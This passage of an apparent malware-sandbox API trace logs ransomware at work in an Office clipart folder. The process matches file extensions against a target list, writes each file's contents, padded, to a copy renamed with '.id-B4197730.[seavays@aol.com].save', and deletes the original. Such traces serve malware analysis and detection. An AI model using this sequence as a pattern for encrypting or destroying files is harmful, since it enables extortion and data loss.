(lpString1=".bz2", lpString2=".WMF") returned -1 [0182.743] lstrlenW (lpString=".7z") returned 3 [0182.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.743] lstrlenW (lpString=".dbf") returned 4 [0182.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.743] lstrlenW (lpString=".1cd") returned 4 [0182.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0182.743] lstrlenW (lpString=".jpg") returned 4 [0182.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.743] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0182.743] lstrlenW (lpString="J0152594.WMF") returned 12 [0182.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.343] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6340) returned 1 [0183.343] CloseHandle (hObject=0x530) returned 1 [0183.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220 [0183.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.212] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.213] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.214] GetLastError () returned 0x0 [0184.214] ReadFile (in: hFile=0x2a8, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0184.215] WriteFile (in: hFile=0x384, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0184.216] ReadFile (in: hFile=0x2a8, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.217] WriteFile (in: hFile=0x384, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.217] SetEndOfFile (hFile=0x384) returned 1 [0184.217] CloseHandle (hObject=0x384) returned 1 [0184.217] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.217] SetEndOfFile (hFile=0x2a8) returned 1 [0184.221] CloseHandle (hObject=0x2a8) returned 1 [0184.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0184.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.228] lstrlenW (lpString=".doc") returned 4 [0184.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.228] lstrlenW (lpString=".docx") returned 5 [0184.228] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.228] lstrlenW (lpString=".pdf") returned 4 [0184.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.228] lstrlenW (lpString=".xls") returned 4 [0184.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.228] lstrlenW (lpString=".xlsx") returned 5 [0184.228] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.228] lstrlenW (lpString=".ppt") returned 4 [0184.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.229] lstrlenW (lpString=".zip") returned 4 [0184.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.229] lstrlenW (lpString=".rar") returned 4 [0184.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.229] lstrlenW (lpString=".bz2") returned 4 [0184.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.229] lstrlenW (lpString=".7z") returned 3 [0184.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.229] lstrlenW (lpString=".dbf") returned 4 [0184.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.229] lstrlenW (lpString=".1cd") returned 4 [0184.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.229] lstrlenW (lpString=".jpg") returned 4 [0184.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.229] lstrlenW (lpString=".doc") returned 4 [0184.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString=".docx") returned 5 [0184.230] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.230] lstrlenW (lpString=".pdf") returned 4 [0184.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString=".xls") returned 4 [0184.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.230] lstrlenW (lpString=".xlsx") returned 5 [0184.230] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.230] lstrlenW (lpString=".ppt") returned 4 [0184.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.230] lstrlenW (lpString=".zip") returned 4 [0184.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.230] lstrlenW (lpString=".rar") returned 4 [0184.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString=".bz2") returned 4 [0184.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString=".7z") returned 3 [0184.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.230] lstrlenW (lpString=".dbf") returned 4 [0184.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.230] lstrlenW (lpString=".1cd") returned 4 [0184.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0184.230] lstrlenW (lpString=".jpg") returned 4 [0184.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.231] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0184.231] lstrlenW (lpString="J0152698.WMF") returned 12 [0184.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.233] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1208) returned 1 [0184.233] CloseHandle (hObject=0x2a8) returned 1 [0184.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220 [0184.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.234] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.234] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.235] GetLastError () returned 0x0 [0184.235] ReadFile (in: hFile=0x2a8, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0184.236] WriteFile (in: hFile=0x384, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0184.238] ReadFile (in: hFile=0x2a8, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.238] WriteFile (in: hFile=0x384, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.238] SetEndOfFile (hFile=0x384) returned 1 [0184.239] CloseHandle (hObject=0x384) returned 1 [0184.239] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.239] SetEndOfFile (hFile=0x2a8) returned 1 [0184.243] CloseHandle (hObject=0x2a8) returned 1 [0184.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0184.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0184.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0184.245] lstrlenW (lpString=".doc") returned 4 [0184.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.245] lstrlenW (lpString=".docx") returned 5 [0184.245] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.245] lstrlenW (lpString=".pdf") returned 4 [0184.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.245] lstrlenW (lpString=".xls") returned 4 [0184.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.245] lstrlenW (lpString=".xlsx") returned 5 [0184.245] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.245] lstrlenW (lpString=".ppt") returned 4 [0184.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0184.246] lstrlenW (lpString=".zip") returned 4 [0184.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.246] lstrlenW (lpString=".rar") returned 4 [0184.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.246] lstrlenW (lpString=".bz2") returned 4 [0184.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.246] lstrlenW (lpString=".7z") returned 3 [0184.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0184.246] lstrlenW (lpString=".dbf") returned 4 [0184.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0184.246] lstrlenW (lpString=".1cd") returned 4 [0184.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0184.246] lstrlenW (lpString=".jpg") returned 4 [0184.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.248] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1208) returned 1 [0184.248] CloseHandle (hObject=0x2a8) returned 1 [0184.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220 [0184.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.694] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.694] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.695] GetLastError () returned 0x0 [0184.696] ReadFile (in: hFile=0x36c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0184.698] WriteFile (in: hFile=0x558, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0184.699] ReadFile (in: hFile=0x36c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.699] WriteFile (in: hFile=0x558, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.699] SetEndOfFile (hFile=0x558) returned 1 [0184.699] CloseHandle (hObject=0x558) returned 1 [0184.700] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.700] SetEndOfFile (hFile=0x36c) returned 1 [0184.718] CloseHandle (hObject=0x36c) returned 1 [0184.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0184.721] lstrlenW (lpString=".doc") returned 4 [0184.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.721] lstrlenW (lpString=".docx") returned 5 [0184.721] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.721] lstrlenW (lpString=".pdf") returned 4 [0184.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.721] lstrlenW (lpString=".xls") returned 4 [0184.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.721] lstrlenW (lpString=".xlsx") returned 5 [0184.721] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.721] lstrlenW (lpString=".ppt") returned 4 [0184.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0184.722] lstrlenW (lpString=".zip") returned 4 [0184.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.722] lstrlenW (lpString=".rar") returned 4 [0184.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.722] lstrlenW (lpString=".bz2") returned 4 [0184.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.722] lstrlenW (lpString=".7z") returned 3 [0184.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0184.722] lstrlenW (lpString=".dbf") returned 4 [0184.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0184.722] lstrlenW (lpString=".1cd") returned 4 [0184.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0184.723] lstrlenW (lpString=".jpg") returned 4 [0184.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.724] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6956) returned 1 [0184.725] CloseHandle (hObject=0x36c) returned 1 [0184.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 0x220 [0184.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.728] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.728] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.730] GetLastError () returned 0x0 [0184.730] ReadFile (in: hFile=0x36c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1b2c, lpOverlapped=0x0) returned 1 [0184.732] WriteFile (in: hFile=0x558, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0184.734] ReadFile (in: hFile=0x36c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.734] WriteFile (in: hFile=0x558, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.734] SetEndOfFile (hFile=0x558) returned 1 [0184.734] CloseHandle (hObject=0x558) returned 1 [0184.734] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.734] SetEndOfFile (hFile=0x36c) returned 1 [0184.739] CloseHandle (hObject=0x36c) returned 1 [0184.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0184.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0184.741] lstrlenW (lpString=".doc") returned 4 [0184.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.741] lstrlenW (lpString=".docx") returned 5 [0184.742] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.742] lstrlenW (lpString=".pdf") returned 4 [0184.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.742] lstrlenW (lpString=".xls") returned 4 [0184.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.742] lstrlenW (lpString=".xlsx") returned 5 [0184.742] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.742] lstrlenW (lpString=".ppt") returned 4 [0184.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.742] lstrlenW (lpString="C:\\Program Files\\Microsoft 